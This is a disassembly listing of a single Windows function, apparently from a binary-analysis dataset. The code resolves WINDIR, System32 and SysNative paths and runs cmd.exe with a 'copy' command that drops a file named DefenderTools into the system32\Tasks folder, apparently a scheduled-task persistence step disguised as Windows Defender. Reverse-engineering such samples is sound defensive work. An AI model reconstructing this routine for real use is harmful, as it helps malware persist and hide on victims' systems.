Function at 0x403985
Capabilities:
Query environment variable

Disassembly:
push ebx
push edi
xor eax, eax
push eax
call fcn.00426350
push edx
call fcn.004261b0
pop edx
push eax
push edx
call fcn.004261b0
pop edx
push eax
push 0x1f4
call fcn.00423a90
lea eax, [esp + 4]
push eax
call fcn.004261f0
push 0x1f4
mov eax, dword [esp + 4]
push eax
mov eax, str.WINDIR
push eax
call sub.KERNEL32.dll_GetEnvironmentVariableW
push 0x1f4
mov eax, dword [esp + 4]
push eax
mov eax, str.WINDIR
push eax
call sub.KERNEL32.dll_GetEnvironmentVariableW
mov edx, dword [esp]
push edx
call fcn.004261b0
pop edx
push eax
push edx
call fcn.00426280
mov edx, str.System32
push edx
call fcn.00426280
push 0x5064a8
call fcn.004261f0
mov edx, dword [esp]
push edx
call fcn.004261b0
pop edx
push eax
push edx
call fcn.00426280
push 0x506404
call fcn.004261f0
push edx
call fcn.004261b0
pop edx
push eax
mov edx, dword [esp + 4]
push edx
call fcn.004261b0
pop edx
push eax
push edx
call fcn.00426280
mov edx, str.SysNativecmd.exe
push edx
call fcn.00426280
call fcn.0040c9c2
add dword [esp], edx
call fcn.0041a66e
call fcn.0040c9e0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x403a69
jl 0x403a65
cmp ebx, 0
ja 0x403a69
xor eax, eax
jmp 0x403a6e
mov eax, 1
or eax, eax
je 0x403a9a
mov edx, dword [esp]
push edx
call fcn.004261b0
pop edx
push eax
push edx
call fcn.00426280
mov edx, str.SysNative
push edx
call fcn.00426280
lea eax, [esp + 4]
push eax
call fcn.004261f0
jmp 0x403ac0
mov edx, dword [esp]
push edx
call fcn.004261b0
pop edx
push eax
push edx
call fcn.00426280
mov edx, str.System32
push edx
call fcn.00426280
lea eax, [esp + 4]
push eax
call fcn.004261f0
push edx
call fcn.004261b0
pop edx
push eax
push 2
mov edx, dword [0x5064a4]
push edx
call fcn.004261b0
pop edx
push eax
push edx
call fcn.00426280
mov edx, str.DefenderTools.tmp
push edx
call fcn.00426280
call fcn.0040c9c2
add dword [esp], edx
call fcn.0041a8b7
call fcn.0040c9e0
push edx
call fcn.004261b0
pop edx
push eax
push 3
mov eax, 0x472028
push eax
push edx
call fcn.004261b0
pop edx
push eax
mov edx, str._c_copy
push edx
call fcn.00426280
mov edx, dword [0x506404]
push edx
call fcn.00426280
mov edx, str._system32TasksDefenderTools__
push edx
call fcn.00426280
mov edx, dword [0x5064a4]
push edx
call fcn.00426280
mov edx, str.DefenderTools.tmp___Y
push edx
call fcn.00426280
call fcn.004262e0
mov edx, dword [esp + 0x10]
push edx
call fcn.004261b0
pop edx
push eax
push edx
call fcn.00426280
mov edx, 0x475038
push edx
call fcn.00426280
call fcn.0040c9c2
add dword [esp], edx
call fcn.0040c9c2
add dword [esp + 4], edx
call fcn.0040d8ca
call fcn.0040c9e0
push edx
call fcn.004261b0
pop edx
push eax
mov edx, dword [0x5064a4]
push edx
call fcn.004261b0
pop edx
push eax
push edx
call fcn.00426280
mov edx, str.DefenderTools.tmp
push edx
call fcn.00426280
call fcn.0040c9c2
add dword [esp], edx
call fcn.0041a66e
call fcn.0040c9e0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x403bdc
jl 0x403bd8
cmp ebx, 0
ja 0x403bdc
xor eax, eax
jmp 0x403be1
mov eax, 1
or eax, eax
je 0x403bfb
push 1
push 0x31
push 2
call fcn.0041086e
jmp 0x403c0f
push 0
push 0x31
push 2
call fcn.0041086e
xor eax, eax
push dword [esp]
call fcn.004263b0
add esp, 4
pop edi
pop ebx
ret